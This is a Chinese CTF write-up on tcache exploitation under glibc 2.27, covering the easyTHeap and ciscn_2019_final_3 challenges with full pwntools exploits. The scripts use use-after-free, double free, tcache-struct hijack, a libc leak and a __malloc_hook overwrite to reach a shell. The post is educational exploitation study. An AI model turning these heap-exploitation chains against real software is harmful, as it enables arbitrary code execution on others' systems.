[V&N2020 公开赛]easyTHeap + ciscn_2019_final_3 ——heap中tcache的一些简单利用方法
在libc2.26之后的libc版本中加入了新的存储结构tcache,这使得我们利用堆的时候要特别注意libc版本。
对tcache不是很了解建议看看CTFWiKi
1.[V&N2020 公开赛]easyTHeap
保护全开,libc2.27版本,进入IDA
看到程序有增删改查的功能。
我们一个个来看:
add:
我们可以看到add中不能写入数据。
edit:
add中不能读入的数据由edit来读入。
show:
没什么特殊的,就是输出数据,这里我们可以用其来查看我们泄露的地址。
delete:
delete函数直接造成UAF。
解题思路:
由于程序libc版本为libc2.27,这里我们就先申请一个堆块,再free两次,程序并不会crash,这也是得益于tcache:
new(0x50) #0
delete(0)
delete(0)
我们看一下堆块具体情况:
首先我们可以看到heapbase的最上面有一个tcache的struct,这里存储这tcache的个数和位置,这里等下就是我们要劫持的地方。再让我们看看真正的堆块内容:
可以看到这里已经有他自身的地址了,由于UAF的存在,我们可以show(0)来得到这块地址。
得到这块地址后,我们更改tcache的next为struct的地址,把堆块申请到那里去:
new(0x50) #1
edit(1, p64(heap_base - 0x250))
new(0x50) #2
new(0x50) #3
这里我们申请的第三块的位置就是struct的地方。
我们把struct里面的个数改成很大,导致后面free的堆块不会进入到tcache中来,因为我们要泄露libc的基址:
edit(3, 'a' * 0x28)
delete(3)
这样堆块3不再tcache中了:
看到这个数据,我想做过堆题的人都很熟悉,这不就是放入了unsortedbin中了嘛,这个地址就是main_arena中的地址了,后面的就很经典了:找到malloc_hook或realloc_hook,覆盖他(这里有解释)。
完整exp:
#! /usr/bin/env python
from pwn import *
p = process('./vn_pwn_easyTHeap')
#p = remote('node3.buuoj.cn', 25389)
elf = ELF('./vn_pwn_easyTHeap')
libc = ELF('./libc-2.27.so')
def new(size):
p.sendlineafter('choice: ', '1')
p.sendlineafter('size?', str(size))
def edit(index, content):
p.sendlineafter('choice: ', '2')
p.sendlineafter('idx?', str(index))
p.sendlineafter('content:', content)
def show(index):
p.sendlineafter('choice: ', '3')
p.sendlineafter('idx?', str(index))
def delete(index):
p.sendlineafter('choice: ', '4')
p.sendlineafter('idx?', str(index))
new(0x50) #0
delete(0)
delete(0)
show(0)
heap_base = u64(p.recvuntil('\n', drop = True).ljust(8, '\x00'))
print hex(heap_base)
new(0x50) #1
edit(1, p64(heap_base - 0x250))
new(0x50) #2
new(0x50) #3
edit(3, 'a' * 0x28)
delete(3)
show(3)
libc_base = u64(p.recvuntil('\n', drop = True).ljust(8, '\x00')) - 0x3ebca0
print hex(libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['__libc_realloc']
one = libc_base + 0x4f322
new(0x50)
edit(4, 'b' * 0x48 + p64(malloc_hook - 0x13))
new(0x20)
edit(5, '\x00' * (0x13 - 0x8) + p64(one) + p64(realloc + 8))
new(0x10)
p.sendline('1')
p.interactive()
2.ciscn_2019_final_3
保护相同,全开,查看IDA。
这是一个c++写的程序。程序只有两个功能:add和remove。
add:
虽然这题没有show,但是我们同样可以通过题目自己把地址给你这个功能来泄露数据。
delete:
这题的delete同样是未置空,我们仍然可以利用UAF。
解题思路:
这题可以申请24个堆块,而上一题只能申请7个堆块,虽然这题也能劫持tcache的struct,但是我们也可以通过overlap的方法来申请一个大于0x400的堆块,使得他free进入unsortedbin中。
add(0, 0x78, 'aaa')
p.recvuntil('gift :')
heap = int(p.recv(14), 16)
print hex(heap)
add(1, 0x18, 'b')#1
add(2, 0x78, 'c')#2
add(3, 0x78, 'd')#3
add(4, 0x78, 'c')#4
add(5, 0x78, 'd')#5
add(6, 0x78, 'c')#6
add(7, 0x78, 'd')#7
add(8, 0x78, 'c')#8
add(9, 0x78, 'd')#9
add(10, 0x78, 'c')#10
add(11, 0x78, 'd')#11
add(12, 0x28, 'd')#12
free(12)
free(12)
add(13, 0x28, p64(heap - 0x10))
add(14, 0x28, p64(heap - 0x10))
add(15, 0x28, p64(0) + p64(0x421))
申请12个堆块,他们加起来大于0x400,把15申请到0号堆块处,更改0号堆块的堆块大小,将其伪造成unsortedbin的大小。这样我们free掉他,他就会进入unsortedbin中了,我们试试看:
free(0)
我们可以看到,main_arena的地址已经在堆块中了,接下来我们需要申请到这个位置,这样我们就可以泄露这个地址,通过这个地址,我们就可以知道libc的基址了。
free(1)
add(16, 0x78, 'eee')
add(17, 0x18, 'fff')
add(18, 0x18, 'g')
我们先free掉1号堆块,然后申请与0号堆块以前的地址相同的堆块大小,这样main_arena的地址就会到1号堆块上去:
这样,我们申请两次堆块后我们就会把堆块申请到main_arena的位置,从而通过程序自己的功能把main_arena的地址泄露出来。
p.recvuntil('gift :')
libc_base = int(p.recv(14), 16) - 0x3ebca0
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = libc_base + 0x10a38c
有人可能会问0x3ebca0怎么来的?其实很简单,由于相对地址是不变的,这里我们在调试的时候可以与libc_base对比这样我们就可以知道偏移了:
4111520转化为16进制就是0x3ebca0。
接下来就和前面一样了,我们把堆块申请到malloc_hook处,改写其为one_gadget的地址。
完整exp:
#! /usr/bin/env python
from pwn import *
p = process('./ciscn_final_3')
#p = remote('node3.buuoj.cn', 29998)
elf = ELF('./ciscn_final_3')
libc = ELF('./libc.so.6')
def add(index, size, content):
p.sendlineafter('choice > ', '1')
p.sendlineafter('input the index\n', str(index))
p.sendlineafter('input the size\n', str(size))
p.sendlineafter('now you can write something\n', content)
def free(index):
p.sendlineafter('choice > ', '2')
p.sendlineafter('input the index\n', str(index))
add(0, 0x78, 'aaa')
p.recvuntil('gift :')
heap = int(p.recv(14), 16)
print hex(heap)
add(1, 0x18, 'b')#1
add(2, 0x78, 'c')#2
add(3, 0x78, 'd')#3
add(4, 0x78, 'c')#4
add(5, 0x78, 'd')#5
add(6, 0x78, 'c')#6
add(7, 0x78, 'd')#7
add(8, 0x78, 'c')#8
add(9, 0x78, 'd')#9
add(10, 0x78, 'c')#10
add(11, 0x78, 'd')#11
add(12, 0x28, 'd')#12
free(12)
free(12)
add(13, 0x28, p64(heap - 0x10))
add(14, 0x28, p64(heap - 0x10))
add(15, 0x28, p64(0) + p64(0x421))
free(0)
free(1)
add(16, 0x78, 'eee')
gdb.attach(p)
pause()
add(17, 0x18, 'fff')
add(18, 0x18, 'g')
p.recvuntil('gift :')
libc_base = int(p.recv(14), 16) - 0x3ebca0
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = libc_base + 0x10a38c
free(5)
free(5)
add(19, 0x78, p64(malloc_hook))
add(20, 0x78, p64(malloc_hook))
add(21, 0x78, p64(one))
p.sendline('1')
p.sendline('22')
p.sendline('0')
p.interactive()
参考连接:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack-zh/
上一篇: 【JVM笔记】Java堆溢出
下一篇: Zimbra XMPP XXE 复现